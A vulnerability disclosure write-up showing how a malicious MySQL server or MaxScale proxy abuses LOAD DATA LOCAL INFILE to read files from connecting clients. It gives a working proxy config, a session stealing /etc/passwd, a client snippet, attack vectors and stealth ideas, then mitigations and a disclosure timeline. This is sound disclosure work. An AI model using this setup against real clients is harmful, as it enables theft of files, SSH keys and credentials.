Although it is documented that the default binary distributions of MySQL/MariaDB/Percona all seem to be compiled with allow local infile enabled, the warning is misleading:

The transfer of the file from the client host to the server host is initiated by the MySQL server. In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement. Such a server could access any file on the client host to which the client user has read access.

While this is true, what is not stated is that the malicious server can reply with a request to load data to any query, not just by manipulating a legitimate LOAD DATA LOCAL INFILE request from the Client. A simple example of such an attack can be done using MaxScale as an evil proxy with the following configuration:

[EvilFilter]
type=filter
module=regexfilter
options=ignorecase
match=.*
replace=LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot;

This will replace any incoming query with a LOAD DATA query that will be sent to the backend. Upon receiving this query the backend sends the LOCAL_INFILE_REQUEST packet which will be processed by the client.

Example attack (MySQL CLI Client):

Evil server:
MariaDB [(none)]> select * from test.loot;
Empty set (0.00 sec)
Target server:
mysql -utest -h EVILHOST test

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 30985
Server version: 10.0.0 beta-2.0.0-maxscale

Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [test]>

Evil Server

Note that no interaction is necessary. The mysql-cli client executes some queries behind the scenes that end up triggering our malicious payload and allows us to steal /etc/passwd before the target has done anything other than connect.

MariaDB [(none)]> select * from test.loot LIMIT 5;
+-------------------------------------------------+
| line                                            |
+-------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash                 |
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| bin:x:2:2:bin:/bin:/usr/sbin/nologin            |
| sys:x:3:3:sys:/dev:/usr/sbin/nologin            |
| sync:x:4:65534:sync:/bin:/bin/sync              |
+-------------------------------------------------+
5 rows in set (0.00 sec)

The evil server can now read any file with the permissions of the client process permissions. If targeting a system administrator, this may include stealing bash histories or SSH private keys. You can also learn more information about your target by grabbing /proc/self/environ.

Example Attack (php_mysqli + php_mysqlnd):

$mysqli = mysqli_connect('EVILHOST', 'test', null, 'test', 3306);
$result = mysqli_query($mysqli, "SELECT 1");
$result = mysqli_fetch_assoc($mysqli, $result);

Other Clients

Other vulnerable clients include:

  • php-mysql (without open basedir)
  • php-mysqli (with and without php-mysqlnd)
  • node-mysql
  • Any library using libmysql included in the binary distributions compiled with ENABLE_LOCAL_INFILE

Potential Attack Vectors

  • Installers for Wordpress, Drupal, vBulletin, etc
  • Any applications that allow integration with remote MySQL servers (think Zapier, although they are not vulnerable themselves)
  • MITM attacks
  • DNS Cache poisoning
  • Domain/Typo Squatting
  • Exposed administration tools such as PHPMyAdmin, although you could just execute the query yourself in that case :)
  • Good ol' social engineering

Improving the attack

  • A smarter evil server could accept any username/password/database name as valid
  • Evil server could take steps to hide the attack by manipulating the packets in the result
  • Evil server could be changed to not show the table where the stolen information is stored (beyond only giving the attack user INSERT privileges, it could simply not tell the client about that table)

Mitigation

  • Place local-infile=0 in the [client] section of your /etc/my.cnf or ~/.my.cnf
  • Make sure your clients are configured to unset that flag if they do not read from configuration files

Why is this news if it's documented behavior?

  • The documentation does not make clear the full scope of possible attacks and may lead people to believe they are safe if they never execute a LOAD DATA LOCAL INFILE query.

  • With an evil server, any query executed can trigger the payload as soon as the client processes the reply. Even if we do not control the queries coming from the application

Recommendations

  • Insecure defaults should be removed and going forward a clear error message such as "You must use --local-infile in order to use this feature" should be used to guide those who depend on this feature
  • Tools such as mysqlimport keeping this default is acceptable, the mysql client should not
  • Any client library implementations should disable this flag by default
Other information

All tests were done on:

  • Debian 8 (Percona/Oracle/MariaDB repos only, distro repos do not appear to be vulnerable)
  • CentOS 7
  • WHM/cPanel + EasyApache Builds on CentOS 7

I used the latest packages available from the distributions repositories as well as the versions available from the MariaDB repos.

Only default configurations were used, there were no modifications to the configuration files on the target servers.

Disclosure Notes

  • Sept. 23, 2016: Reported to Oracle, received canned response
  • Oct. 12, 2016: Reported to MariaDB, no response from Oracle.
  • Oct 13, 2016: Received confirmation from MariaDB that the report was being reviewed.
  • Oct 14, 2016: Discussed with MariaDB Team, confirmed that this is a protocol detail that can not be changed. Documentation will be updated and the defaults will changed for MariaDB in the next major release to prevent breaking backwards compatiability with previous deployments.
  • Oct 17, 2016: Article published